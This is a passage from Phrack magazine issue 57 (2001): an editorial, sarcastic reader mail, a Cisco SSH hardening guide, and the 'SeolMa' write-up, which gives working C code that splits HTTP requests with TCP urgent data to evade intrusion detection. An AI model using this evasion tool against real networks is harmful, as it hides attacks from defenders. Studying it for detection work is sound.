........... ...... a;:045555558899110::a .;;;77777777;;o ";8" """'''''''""""` ''' ^77;' ";8" ^7;' ";8" __ 7!;' ";8"..aaa;;9999;;;aa.. 76; "823p" '''''' 2"^ 52; ;8^ ";;^ '23; ;P;^ '6^ '57; ;8;^ '6^ ;&' "@;^ ";;8^ .. ,,,_ ...._ ... . . '@;^ ..... 2^" ^G7; HH; ;R3!1@#' a;AAAAa; .###;. !@ .!" !# -+;44319110100~" !#' HH: ;1@ !2; a;^ a; ;3 .!@ !;^ !@"` '' '''''' @#$@!!HH; '1!' !@; a;^ 8; ;' ;1; #! !@^ "13 "1^ ;!@#57RR: a;26088; ;' ;!@!!!' !@^ "53! "!2 '!@ ^R; a; ;; '# ;!1''!@^ !@^ '11 '11 !@ ^; '' '' '33;; '1' !; !^ '' ; ' ' ' ; '' ! !' ' ; . ' ' . ; ' : ' ==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x01 of 0x12 ...and the Jedi Knight replied with a strong tongue: "There is no gap between phrack56 and phrack57" ...and swang his hand from the left to the right with a slight hope to bluff the audience... Good News Everyone: P H R A C K I S B A C K !@#$!@#$!@#$ |=[ Table of Contents ]=-------------------------------------------------=| 0x01 Introduction Phrack Staff 0x07 kb 0x02 Loopback Phrack Staff 0x09 kb 0x03 Linenoise Phrack Staff 0x1e kb 0x04 Editorial policy Phrack Staff 0x07 kb 0x05 IA64 shellcode papasutra 0x15 kb 0x06 Taranis read your e-mail jwilkins 0x0a kb 0x07 ICMP based OS fingerprinting Fyodor Yarochkin & Ofir Arkin 0x12 kb 0x08 Vudo malloc tricks maxx 0x76 kb 0x09 Once upon a free() anonymous 0x22 kb 0x0a Against the System: Rise of the Robots Michal Zalewski 0x0a kb 0x0b Holistic approaches to attack detection sasha 0x12 kb 0x0c NIDS on mass parallel processing architecture storm 0x17 kb 0x0d Hang on, snoopy stealth 0x14 kb 0x0e Architecture spanning shellcode eugene 0x17 kb 0x0f Writing ia32 alphanumeric shellcodes rix 0x56 kb 0x10 Cupass and the netuserchangepassword problem D.Holiday 0x14 kb 0x11 Phrack World News Phrack Staff 0x06 kb 0x12 Phrack magazine extraction utility Phrack Staff 0x15 kb |=-----------------------------------------------------------------------=| On this iteration of Phrack magazine there is no single editor. The editorial duties are being carried out by a 'Phrack Staff' collective. At the moment we are going to remain anonymous and not publish our nicks or our names in the magazine. The reason we are staying anonymous is to ensure that people know that we are working on Phrack for all the right reasons. And also of course because privacy is valuable. Let's talk about privacy for a moment. It seems to me that lately there is no motive more attractive than becomming a celebrities. Ironically, celebrities have a power that will grow more compelling and yet less meaningful in the years to come. Why? Because becomming a celebrity will be easier to achieve. The drive to increase connectivity is ultimately about the access of everyone to everyone and everyone to everything. A personal home page on the web - self-created celebrity - is only the most primitive example of what lies ahead, but is an instructive example all the same. Home pages are self- validation, and self-validation lies at the very center of the drive towards the desire to become a celebrity. Like precious metals, society has always valued what is scarce. As privacy becomes rarer and rarer, it will assume greater and greater worth. Switching subjects, there is another point that I would like to make. The field of information security is vast. It is vast because it concerns not just technology, but also sociology, criminology, economics (think of risk modeling), and many other associated subjects. Even within the technology side of information security, there are many different areas of study - vulnerability assessment, intrusion detection, public key infrastructure, operating system security, and so on. The point I am working towards is that the world does not being and end with shellcode and it certainly does not begin and end with exploits. You owe it to yourself to investigate what it is about information security that makes it the most interesting and challenging field of study within information technology today. It's a big world out there. Read books. Experiment. Don't just do. Be. Enjoy the magazine! Phrack Magazine Volume 10 Number 57, August 11, 2001. ISSN 1068-1035 Contents Copyright (c) 2001 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge. |=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=| Editors: phrackstaff@phrack.org Submissions: phrackstaff@phrack.org Commentary: loopback@phrack.org Phrack World News: disorder@phrack.org |=-----------------------------------------------------------------------=| Submissions may be encrypted with the following PGP key: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.5 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBDr0dzURBAC0nXC8TlrGLzTrXBcOq0NP7V3TKp/HUXghV1uhsJLzgXL1N2ad XF7yKFoP0RyvC3O4SVhSjFtaJZgwczkkRwgpabOddk77fnCENPvl2n0pWmyZuSQa fTEn+P8gmKEeyWXo3EDURgV5OM6m/zVvsQGxkP3/jjGES6eaELXRqqNM9wCgrzkS c0a4bJ03ETjcQa8qp3XIuLsD/04nseebHrqgLHZ/1s1gF6wdRFYGlOYY1tvkcIU4 BRqgJZQu1DIauTEZiLBug+SdRyhJlYPhXWLXr3r7cq3TdxTD1DmM97V8CigA1H5Y g7UB0L5ZygL2ezRxMNxyBxPNDRj3VY3niMg/DafqFs4PXSeL/N4/xU45UBeyk7La QK2dA/4/FKBpUjXGB83s0omQ9sPHYquTiS51wze3SLpJs0jLnaIUmJ1ayBZqr0xT 0LPQp72swGcDb5xvaNzNl2rPRKQZyrsDDX8xZdXSw1SrS6xogt83RWS6gbMQ7/Hr 4AF917ElafjEp4wwd/rekD84RPumRmz4I02FN0xR5VV6K1rbILQkcGhyYWNrc3Rh ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iF0EExECAB0FAjr0dzUFCThkCQAF CwcKAwQDFQMCAxYCAQIXgAAKCRDT4MJPPu7c4etbAJ9P/6NeGwx/nyBBTVpMweCQ 6kFNkQCgnBLX1cmZ7DSg814YjZBFdLczcFS5Ag0EOvR3URAIAOumUGdn+NCs+Ue1 d1RDCNHg6I8GEeH5DElGWC8jSMor2DOgah31VEcoPgVmtEdL8ZD/tl97vxcEhntA ttlELWVJV854kWxRMeCFbBS+fjcQpHCig5WjFzuOrdwBHlNZK2xWCpbV770eSPb/ +z9nosdP8WzmVnJ0JVoIc99JJf3d6YfJuscebB7xn6vJ3hZWM9kqMSyXaG1K3708 gSfhTr1n9Hs7nDfKMMQ73Svbe6J3kZJNdX0cqZJLHfeiiUrtf0ZCVG52AxfLaWfm uPoIpZaJFzexJL/TL9gsRRvVdILd3SmVKtt2koaHNmUgFRVttol3bF8VTiGWb2uX S6WjbwcAAwUH/R9Fsk1Vf04qnzZ21DTsjwlA76cOje0Tme1VIYfwE33f3SkFo89+ jYPFCMNObvSs/JVrstzzZr/c36a4rwi93Mxn7Tg5iT2QEBdDomLb3plpbF3r3OF3 HcuXYuzNUubiA5J2nf3Rf0DdUVwWmOx8gnqF/QUrKRO+fzomT/jVaAYkVovMBE9o csA6t6/vF+SQ5dxPq+6lTJzFY5aK90p1TGHA+2K18yCkcivPEo7b/qu+n9vCOYHM WM+cp49bcUMExRkL934O1KUhHxbL96yBRWRzrJaC7ybGjC9hFAQ/wuXzaHOXEHd4 PqrTZI/rvnRcVJ1CXVt9UfsLXUROaEAtAOOITAQYEQIADAUCOvR3UQUJOGQJAAAK CRDT4MJPPu7c4eksAJ9w/y+n6CHeqeUgKCYZ+EKvNWC30gCfYblC4sGwllhPufgT gPaxlvAXKrM= =p9fB -----END PGP PUBLIC KEY BLOCK----- phrack:~# head -20 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x02 of 0x12 |=------------------------=[ L O O P B A C K ]=--------------------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ phrackstaff ]=----------------------------=| This month we present a loopback using some of the comments posted to the phrack.org web site. Enjoy! |=[ 0x00 ]=--------------------------------------------------------------=| hey, i used to read phrack back in like 95 i thought it was dead but i checked and i cant believe there is a phrack 56, i take my hat off to you, hey i was just wondering when 57 might come out ? [ Phrack57 is out NOW.... ] |=[ 0x01 ]=--------------------------------------------------------------=| From: "Terry Ferguson" To: X-Mailer: Microsoft Outlook Express 4.72.3110.1 Subject: [Phrackstaff] i am mekos i am mekos hi when hack help plz. [ UngaUnga BugaBuga. Ups, we just disclosed the senders name, mailer and email address. ] |=[ 0x02 ]=---------------------------------------------------------------| I'm a french coder and i'm leading a project to translate phrack articles in French. I'm writing to you for making this translation project something like an "official" phrack translation project. Note : If you want to see translated article you can reach them at http://rtc.fr.st/proj/phrack.php or http://rtc.fr.st/proj/phrack/. Slash [ there is an italian maxim that says "traduttore, traditore" which means "translators are traitors" and the meaning is lost after translation. french people should learn english. ] |=[ 0x03 ]=--------------------------------------------------------------=| i want to recomendeted to pharck can you help me [ ??? ] |=[ 0x04 ]=--------------------------------------------------------------=| coma@irrelevant 2001-07-26 Introduction phrack 56-1 The old anarchy with turtles/astral projection/home drug lab Phrack articles make me want to rig some kind of testicle-electrocution apparatus -- perhaps through the parallel port. I could make a winamp plugin so that I get a painful shock to the balls every time the bass hits. [ Obviously the twisted brain-wrong of a one-off man-mental. ] |=[ 0x05 ]=--------------------------------------------------------------=| tweeterbeeter@beehive.honeycomb.org 2001-08-01 Phrack Loopback phrack 56-2 I eat meat, I tickle your feet, I ask for slashdot news it's neet, but today i saw an fbi bird, it tried to eat my honey word. Red worm ran, into the can, of win doze boxes, then sent some spam, to see if they could pester the man, who tries to run our nationalized land. Read the posts, chase the ghosts, who penetrate our servers and hosts, and you will come to learn to be, a non-elite computer hacker like me. if you need help, send me mail, I will gladly flame your tail, only after youve been inseminated, will my info be disseminated. That is right, I make light, cuz i dont get none night to night, but if a girl will come and get me laid, I'll make more funny for all to read. :) [ Someone phone MixMaster Mike and tell him his services are no longer required! ] |=[ 0x06 ]=--------------------------------------------------------------=| Hey, My name is Roei but I am known in the web as Cosmo-OOC. I am a moderate hacker, not a great one yet not a lamer or a trojan user. I have written numeros guides and articles concerning hacking and computers. Do you accept those from new users ? [ http://www.phrack.org/howto ] |=[ 0x07 ]=--------------------------------------------------------------=| bargdiggler@hotmail.com 2001-07-31 Mobile Telephone Communications phrack 5-9 how can I get my cellular phone back on without paying for it or how or where can i get a phone,nokia or nextel with unlimited everything for dirt cheap or free [ I'm not entirely sure how, but as a substitute try rigging up two cupz with a tight bit of string in-between them. ] |=[ 0x08 ]=--------------------------------------------------------------=| From: xxxxx007uk@another.com To: phrackstaff@phrack.org Could you please send me the address for the Samba team's FTP Server thankyou, [ yes, they have a hotline. Just call (888) 282-0870 (tollfree @#$) or surf on their homepage: http://3483937961/ ] |=[ 0x09 ]=--------------------------------------------------------------=| papaskin@papaskin.com 2001-07-27 Project Loki: ICMP Tunneling phrack 49-6 I can't believe how old this article is!! Here it is July of 2001 and I'm tracking this Loki down myself. I'm in Network IDS and very new to it, and being told that this Loki icmp packet I see hitting our primary dns server is "normal network traffic". Only problem is that on the outgoing side of the dns server, it's throwing port probes and packets like there's not tommorrow. I'm thinking this has been converted to use UDP packets and even port 53 to mask itself as actual usable traffic. I guess it's time for me to pull the packets down and open each one. I pray to find Loki active actually in the raw packet data so I can say "ha ha" to my sys admins. [ You're *praying* to find Loki on your primary DNS server? And here'z a crazy thought: maybe that "suspicious" DNS traffic is... DNS traffic. ] |=[ 0x0a ]=--------------------------------------------------------------=| prepressnews@hotmail.com 2001-07-26 Screwing Over Your Local McDonald's phrack 45-19 This is funny as hell. Any ideas on how to get some of Charlie X's other old articles? [ I hear they have the Internet on computers now. You could try using that. ] |=[ 0x0b ]=--------------------------------------------------------------=| aristides_15@lycos.com 2001-07-26 The Legion of Doom & The Occult phrack 36-6 Interesting... Is this some sort of joke? I'm mostly open minded, but this seems unreal. -/|ristides [ Do you think we'd joke about something like that? Actually, everything you read in Phrack is 100% false, including this sentence. ] |=[ 0x0c ]=--------------------------------------------------------------=| baniasadi@37.com 2001-07-23 Hacking Voice Mail Systems phrack 11-4 rhgfdgf cjfd fd fgvjbf vmvc [ How MANY times do I have to tell you? Take OFF the ball-gag before you email us, you crazy fucking fetishist. ] |=[ 0x0d ]=--------------------------------------------------------------=| antigovernment@louish.com 2001-07-11 Phrack World News XXIII Part 2 phrack 23-12 Man phrack magizines are old. They are fucking out dated, you need to find new dialups for banks and stuff. Stuff putting up your old usless files and make new ones. [ Unfortunately, I broke the Phrack time-machine, otherwise I would certainly go forward in time and bring back some articles from the future which wouldn't be "out dated" when we publish them. Dorq. ] |=[ 0x0e ]=--------------------------------------------------------------=| general_failure@operamail.com 2001-07-06 Introduction to PBX's phrack 3-9 Hey, was this really written in 1980's. Wow! I am reading it after 15 years. General failure [ Sorry to disappoint you, but just like the dinosaurs, Phrack is actually an elaborate hoax - it's really only been around for about 15 minutes. ] |=[ 0x0f ]=--------------------------------------------------------------=| general_failure@operamail.com 2001-07-06 A Brief introduction to CCS7 phrack 51-15 pretty nice. but i would have preferred a more detailed one.. general failure [ Must.. resist.. temptation.. to.. ridicule.. your.. nick.. ] |=[ 0x10 ]=--------------------------------------------------------------=| n.damus@caramail.com 2001-06-26 VisaNet Operations Part II phrack 46-16 credit card number video sex [ Iz that some sort of offer? I regrettably decline. ] |=[ 0x11 ]=--------------------------------------------------------------=| eyberg@umr.edu 2001-06-22 Phrack Loopback phrack 56-2 greets- I want to congratulate you guys on kicking ass in the underground for all these years. [ Thankz, but we're actually pretty new to thiz. ] As wise old eze (could have) said "motherfuck 2600, motherfuck slashdot, motherfuck linux and let the real motha'fuckn' hackers in!" eheh.. [wtf?] Anyway, I wanted you to know that your logic has probably helped out the underground a hell load then just making fun of the people (which you do and is very fucking funny). [ I think you contradicted yourself there buddy. ] I only wish your issues would come out more often and every kid could read them as much as they read their gpl'd slashdot/2600 "i 0wn j00z everything" fuqn' shit articles. God, it'll be the day when the new generation of "hackers" actually hack and not sit around mimicking your tremendous journal (like b0g) or idle on irc all day and smurf anyone they don't recognize. [ I think that day already arrived years ago. ] Once again keep up the good work and keep the scene alive. [ Cheerz. ] -cyn0n |=[ 0x12 ]=--------------------------------------------------------------=| i love cox 2001-07-21 Knight Line I Part 3 phrack 32-12 fuck you !!!!!!putang ina niyo mga manchuchupa !!!!!! [ So much anger for someone so young. Oh, and I think you meant to say "cock", not "cox". ] |=[ 0x13 ]=--------------------------------------------------------------=| cyhotrex@yahoo.com 2001-07-18 Index phrack 6-1 teach me more! ill apply it very well!!! [ Sure thing. I'm programming my 'ultimate war machine' (tm) to come and teach you everything you need to know. ] |=[ 0x14 ]=--------------------------------------------------------------=| vdehart@hvc.rr.com 2001-07-10 An Overview of Prepaid Calling Cards phrack 47-13 now would the best way to get pin be to goto the stores and try to sneek a peek at the pins or can you call the company # and try to put in a PIN by guessing numbers whats the most effective method? [ For you? Any of the ones you mention will be fine... ] |=[ 0x15 ]=--------------------------------------------------------------=| Tigerbyte@hotmail.com 2001-07-06 Introduction to PAM phrack 56-13 I am a novice. Is it necessary to read through all the Phrack philez or where should I start email a responce to TigerByte@hotmail.com. [ Yes, it is absolutely necessary to begin reading Phrack at issue one, article one, and continue up from there. ] |=[ 0x16 ]=--------------------------------------------------------------=| general_failure@operamail.com 2001-07-06 A Brief introduction to CCS7 phrack 51-15 pretty nice. but i would have preferred a more detailed one.. general failure [ Must.. resist.. temptation.. to.. ridicule.. your.. nick.. ] |=[ 0x17 ]=--------------------------------------------------------------=| pepelic@hotmail.com 2001-07-01 The #hack FAQ (Part 1) phrack 47-5 Hello,I am Srdjan and have one question... How do I crack car chip for security?That chip blocked car if are stealen. BEST REGARDS [ Crack for security? Don't get everyone started on that debate... ] |=[ 0x18 ]=--------------------------------------------------------------=| n.damus@caramail.com 2001-06-26 VisaNet Operations Part II phrack 46-16 credit card number video sex [ Iz that some sort of offer? I regrettably decline. ] |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x03 of 0x12 |=-----------------------=[ L I N E N O I S E ]=-------------------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ phrackstaff ]=----------------------------=| |=[ 0x00 ]=--------------------------------------------------------------=| In Phrack Volume 0xa Issue 0x38, the Linenoise section noted "Phrack Linenoise is a hodge-podge" and that there was a "section in Linenoise specifically for corrections and additions to previous articles". So, we figured, what the fuck, let's publish an Addendum to the "Building Bastion Routers Using Cisco IOS" article in Phrack Issue 55-10. When we first wrote the article, which was over 2 years ago, support for SSH in IOS was very new and only for the 7xxx and 12xxx series routers and only in the latest 12.0 release trains. We made a judgement call not to include it and indicated that it was imminent. Well, everybody sent us e-mail saying "hey, IOS has SSH now". Thanks, we know. With the release of 12.1(1)T, support for SSH is now available in most platforms. But, you might need to upgrade flash or DRAM in order to use it. According to the Cisco web site: "Before configuring the SSH server feature, you must have an IPsec encryption software image...." This basically means that you will probably need a minimum of 16MB of flash and probably about 32MB of DRAM. And make sure you download the 3DES version so you don't get lulled into that false sense of security single-key DES offers. We should also note that IOS (and PIX for that matter) only support SSH protocol version 1, at a time when most of the security community is moving towards protocol version 2, now that free (e.g., OpenSSH) implementations are available with protocol 2 support. The word we've heard from Cisco is they have no plans for SSH protocol 2 support, and recommend that you use IPsec instead. One specific reason that Cisco should move towards protocol 2 support is that there are known weaknesses in protocol 1. In fact, these weaknesses have been known for more than a year and Cisco finally acknowledged that their implementation was also vulnerable. They released a security bulletin in June and the summary says it all: "Three different Cisco product lines are susceptible to multiple vulnerabilities in the Secure Shell (SSH) protocol. These issues are inherent to the SSH protocol version 1.5, which is implemented in several Cisco product lines." So now let's get down to business and show you how to configure it. The Cisco SSH implementation requires that the system have a hostname and domain name, so we'll start with that: 1. Configure a hostname: filter(config)#hostname filter 2. Configure a domain name: filter(config)#ip domain-name home.net 3. Generate a host-specific RSA key. Use at least a 1024 bit key: filter(config)#crypto key generate rsa The name for the keys will be: filter.home.net Choose the size of the key modulus in the range of 360 to 2048 for your General Purpose Keys. Choosing a key modulus greater than 512 may take a few minutes. How many bits in the modulus [512]: 1024 Generating RSA keys ... [OK] Now, do the smart thing and make sure TELNET access is disabled and then save the configuration: filter(config)#line vty 0 15 filter(config-line)#transport input none filter(config-line)#transport input ssh filter(config-line)#exit filter(config)#exit filter#write Building configuration... [OK] Also remember that you should put an access class on the VTY to have fine-grained control over which hosts can connect to the SSH server. 4. You can now view the keys: filter#sh crypto key mypubkey rsa % Key pair was generated at: 14:41:28 PDT Jun 19 2000 Key name: filter.home.net Usage: General Purpose Key Key Data: 30819F30 0D06092A 864886F7 0D010101 05000381 8D003081 89028181 00B3F24F F51367B1 70460C52 B06E5110 F41A5458 EEE6A0DD 840EB3D3 44A958E9 E3BDF6BE 72AE2994 9751FFCB 127A5D20 318D945B FBC25FC5 D9E3BFED 8B9BBCA9 EC3A61B8 2BD6EC35 EA83CC56 27D08248 935A3F2A 9B941580 E69CC8B9 0C2CFA98 AD6F04CC 19BB8522 8E5907EA 6B047EF1 E5DBBE1C E2187761 2E106479 A4297932 19020301 0001 % Key pair was generated at: 14:41:39 PDT Jun 19 2000 Key name: filter.home.net.server Usage: Encryption Key Key Data: 307C300D 06092A86 4886F70D 01010105 00036B00 30680261 00CF13EE C84A2FE3 5720A5AB 5DA7B84D 2232E8E7 2589EF53 170BA42D 2830B2E0 44C2E60F 43BC06F2 9D52BC92 774B8442 99CD0F8F 7073F5C8 97C9A91B 14284981 D23808C0 EF71522E CBBC87AB C1CCE95A 9813B13D D52BC0D0 DC4567A3 BA4C9F24 A1020301 0001 The "General Purpose Key" is the host key and the "Encryption Key" is likely the ephemeral server key, which appears to be 768 bits. 5. Configure the timeout and authentication retries if desired; the default timeout is 120 seconds and the default number of authentication retries is 3: filter(config)#ip ssh time-out 60 filter(config)#ip ssh authentication-retries 2 6. Configure Authentication: There are many different authentication schemes you can use including RADIUS and TACACS. We'll cover just two of the simpler schemes here: Option 1: Use the enable password: filter(config)#aaa new-model filter(config)#aaa authentication login default enable Option 2: Local passwords: filter(config)#aaa authentication login default local filter(config)#username beldridg password 0 junos filter(config)#service password-encryption 7. Test it out: [beldridg@anchor tmp]$ ssh 192.168.3.9 beldridg@192.168.3.9's password: Warning: Remote host denied X11 forwarding. Warning: Remote host denied authentication agent forwarding. filter>sh ssh Connection Version Encryption State Username 0 1.5 3DES Session started beldridg The warning messages are normal if your SSH client is configured to request X11 and authentication agent forwarding. The reason for the X11 forwarding message is that the system doesn't have any X clients, and thus no need for X11 forwarding. It also doesn't support agent forwarding since the Cisco implementation doesn't support RSA authentication. Unfortunately, there is no mechanism to configure the SSH server to only accept the 3DES cipher. An enhancement request was filed with Cisco over 1 year ago and we have not heard back on the status of our request. This means that crippled SSH clients, or clients that request DES, can still connect to the server: [variablek@anchor variablek]$ ssh -c des 192.168.3.9 Warning: use of DES is strongly discouraged due to cryptographic weaknesses variablek@192.168.3.9's password: Warning: Remote host denied X11 forwarding. Warning: Remote host denied authentication agent forwarding. filter>sh ssh Connection Version Encryption State Username 0 1.5 DES Session started variablek 8. SSH Client With the release of 12.1(3)T, IOS also has an SSH client (supports DES and 3DES) so you can initiate outbound connections with something like the following: filter#ssh -l beldridg 10.0.0.1 Newer IOS releases also provide the capability to copy configurations to and from SSH servers via scp although we haven't played with that yet. |=[ 0x01 ]=--------------------------------------------------------------=| Subject: NIDS Evasion Method named "SeolMa" Recently, a new unique TCP property has known by some simple tests. This property was found when we put Urgent TCP data in the middle of normal TCP data stream, and it could be used as a way to avoid the pattern matching of most IDS, especially NIDS.. Firstly, it is worth focusing on the discordance of the interpretation process between the way of the common Operating Systems and the definition of RFC 1122. (We wouldn't cover the all of the TCP Urgent mode in this paper). The TCP/IP implementation, derived from the traditional BSD System,Urgent pointer in TCP header point to the data right after the last Urgent data. But RFC says the Urgent Pointer should point to the last Urgent data. Above two different Urgent Pointer interpretation process make two different result against below test. The testing was executed about Apache and IIS, as an application, on Solaris ( 7,8 ) , Linux 2.2.14, and Windows 2000. Undoubtedly, from my point of view, these two application hasn't any special definition for the communication of Urgent data. (i.e., these would be handled in the same way of general TCP data.) At first test, string packet "ABC" was sent in plain way, and then string packet "DEF" was forwarded in Urgent mode. Finally string packet "GHI" was delivered. Urgent Pointer value in "DEF" tcp packet was "3" . After sending these string, the final string composition on the host was not the expected "ABCDEFGHI", but the strange "ABCDEGHI", which was on the log of each application, to our surprise. The character "F" vanished. During this first test above, the environment of Linux follows BSD format for Urgent data processing. Therefore, the setting was changed as the way on RFC 1122 for the next test. These setting could be referred at TCP MAN page. ex) echo "1" > /proc/sys/net/ipv4/tcp_stdurg At second test, Linux's Urgent Pointer interpretation process follows RFC 1122. The same procedure was applied to the packet transmission at second test. Urgent Pointer value in "DEF" tcp packet was "3" also. At this time, the result was not "ABCDEFGHI", but "ABCDEFHI", to our another surprise. The Character "G" was missed at this test. >From the verification of the packet transmission using TCPDUMP and the results above, we reach to the conclusion as the following.: "1 Byte data, next to Urgent data, will be lost, when Urgent data and normal data are combined." Analyzing the first test, the value of Urgent Pointer was "3", when "DEF" was sent in Urgent mode. However, the actual Urgent Data count become "3 - 1 = 2", due to following the BSD format, and only "DE" is regarded as Urgent data and 1 Byte data "F", after "DE", is lost. Similarly, the second test result could be explained. The Urgent Pointer value of "DEF" tcp packet was 3. In this case, the whole "DEF" become Urgent Data and following "GHI" is normal data. The character "G" is discarded, as 1 Byte data following Urgent Data, in the same way. It is significant that BSD processing is applied to all the default processings of the Operating Systems in these tests. Now, by using this feature, NIDS could be easily deceived because it has no consideration for this. Assume one would like to request "GET /test-cgi" URL. Then divide "test-cgi", which could be the signature of NIDS, into at least 3 parts. Let's split into "tes", "t-c" and "gi". If "t-c" is sent as Urgent data, it is clear that the last 1 Byte "c" will be lost and the last combination will be "test-gi". Thus one would add any 1 Byte at "t-c" for cheating. Forward like "tes", "t-cX" and "gi" with same manner. Then the final host's Apache or IIS will recognize as "test-cgi", but the result of the composition in NIDS will be "test-cXgi" without consideration of this. It is no wonder that one could avoid NIDS pattern matching through this. This is not managed even on Snort, Open-Source. Commercial NIDS is also blind for this. For the worse, the OS like Linux 2.2.14 version shows different result by the speed of transmission, when Urgent data is sent more than three times. This would deteriorate the protecting way of NIDS. That is, just the prediction of 1 Byte loss wouldn't be solution. For Example, sending "ab" in normal, "cd" in Urgent mode, "ef" in normal, "gh" also in Urgent mode, "ij" in normal, and final "kl" in Urgent mode, would result in "abcefgijk" by the previous theory on this paper. However, actual outcome is "abcdefghijk" and the final Urgent data would follow the previous property. For the all Urgent data's compliance of previous property, each transmission of data needs sleep in betweens. For more details, following "seolma.c" source could be referred. The following source will show the simple concept of that. I gave "SeolMa" as a name of this method. Acknowledgement: Thanks to other RealAttack Team(www.realattack.com) members Yoon , Young ( yoon0258@www.a3sc.co.kr ) Oh, Jae Yong (syndcate@orgio.net ) Yoon, Young Min (scipio21@yahoo.co.kr) |=[ SeolMa.c ]=----------------------------------------------------------=| /* This is a simple source code for just test. You can improve your exploit source by observing it Compiled and Tested on Linux 2.2.X It works aginst most Apache , IIS well . Improve your web-cgi scan, attack tool Written by : YoungJun Ko, ohojang@realattack.com Sungjun Ko, Minsook Ko */ #include #include #include #include #include #include #include #include #include #define TCP_PORT 80 #define SOL_TCP 6 #define TCP_NODELAY 1 #define TARGET_IP "1.2.3.4" /* counter < NIDS's Signature length - 1 For example, Against "test-cgi " should counter < 7 */ int counter=0; /* writen() is important point in this source code... I adjust Stevens's code */ int writen(fd, ptr, nbytes ,sockfd,origin) register int fd; register char *ptr; register int nbytes; int sockfd; char *origin; { int nleft, nwritten ; int i, k; char urgent[2]; int done =0; int all =0; nleft= nbytes; while( nleft > 0 ) { nwritten = write(fd , ptr, counter ); if ( nwritten <= 0 ) { printf("Write Error \n" ); return (nwritten); } nleft -= nwritten ; ptr += nwritten; all += nwritten; /* For some Linux, we must sleep . */ sleep(2); /* 4 times insertion is enough for IDS evasion in simple cases */ if ( done != 4 ) { for (k=1 ; k <=1 ; k++ ) { urgent[0]= *ptr; urgent[1]= 'X'; urgent[2]= '\0'; i = send( fd, urgent , strlen(urgent), MSG_OOB ) ; printf("send result is %d\n" , i ); } done +=1; ptr += 1; } } return(nbytes - nleft ); } int main(int argc, char *argv[]) { int sockfd; int i,j,k,sendbuff; socklen_t optlen; struct sockaddr_in serv_addr; char buffer[2048]; char recvbuffer[2048]; bzero( (char *)&serv_addr , sizeof(serv_addr) ); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = inet_addr(TARGET_IP ); serv_addr.sin_port = htons ( TCP_PORT ); counter = atoi(argv[2]); if ( counter == 0 ) { printf("You must input counter value \n" ); exit(-1) ; } if ( (sockfd = socket( AF_INET , SOCK_STREAM , 0 )) < 0 ) { printf("Error socket \n"); exit(-1); } sendbuff = 1; optlen = sizeof(sendbuff ); i= setsockopt( sockfd, SOL_TCP, TCP_NODELAY, (char *)&sendbuff, optlen); printf("setsockopt TCP_NODELAY value %d\n" , i ); if ( connect (sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0) { printf("Connect Failed \n"); exit(-1); } /* make a such file contains "GET /test-cgi /HTTP 1.0\n\n" */ i= open(argv[1], O_RDONLY ); j=read ( i, buffer , sizeof(buffer)); printf(" Read Buffer size is %d\n", j ); k= writen( sockfd , buffer, j, sockfd, buffer); printf("I write on socket %d bytes \n", k ); sleep(1); /* * I use just simple read() ... Usually it make error , * But don't care about it * Just observe your web server log. ( access_log , ... ) */ k = read ( sockfd, recvbuffer , sizeof(recvbuffer) ); printf(" I Read on socket %d bytes\n", k ); printf("%s\n", recvbuffer ); return 0; } |=[ 0x02 ]=--------------------------------------------------------------=| The Telecommunications Fraud Prevention Committee (TFPC) written by nemesystm, member of the dhc. http://dhcorp.cjb.net : neme-dhc@hushmail.com [introduction] In this article I will talk about the TFPC and what this committee actually does. I will take an issue that was raised during a meeting of the TFPC, explain its contents and what is going to happen in the (near) future to clarify exactly what the TFPC's activities are. I have added some miscellaneous information like a contact address and other Anti fraud initiatives in case you want to write to the TFPC or if you want to look into other similar initiatives. While making this article I was amazed how little information people I contacted were willing to give. This was also the reason why I decided to write this article as I stumbled upon the TFPC some time ago and found little to no information about them. I hope this article will be of use to you. please e-mail neme-dhc@hushmail.com if you have questions. nemesystm [What the TFPC does.] According to the guidelines that can be found on the TFPC website(1), "The TFPC is an open industry committee under the Carrier Liaison Committee (CLC). The TFPC provides an open committee to encourage the discussion and resolution, on a voluntary basis, of industry-wide issues associated with telecommunications fraud, and facilitates the exchange of information concerning these topics."(2) This told me next to nothing; a little searching was in order. The following factors affecting telecom fraud are handled by the TFPC:(3) SPI's - Service Provider Identification An SPI is a 4 character code that can be used in SS7 to identify who provides the service of a call. If you would like a short description of SS7 or Switching System 7, go to: www.cid.alcatel.com/doctypes/techprimer/keywords/ss7.jhtml Number pooling Number pooling refers to the blocks of ten thousand numbers and thousand numbers that a provider draws from to provide customers with phone numbers. An example of a ten thousand number block is 214-745-xxxx Merging of the BVDB - Billing Validation DataBase The BVDB's are used by RAO (Revenue Accounting Offices) of the carriers to calculate how much a customer has to pay. Currently BVDB's are not merged so some people try to stay ahead of them. Expansion of the LIDB - Line Information DataBase The LIDB sends a message to the BVDB's telling them about a call that is being made. Fraud happens for example when the LIDB cannot connect to the proper BVDB to write the bill. Additions to LSR - Local Service Requests LSR requests basically occur when you make a local call in North America. You do not pay for the call and therefore it is not recorded in any way. The TFPC is working together with the OBF (Order and Billing Forum) to find a industry wide solution to make it that those 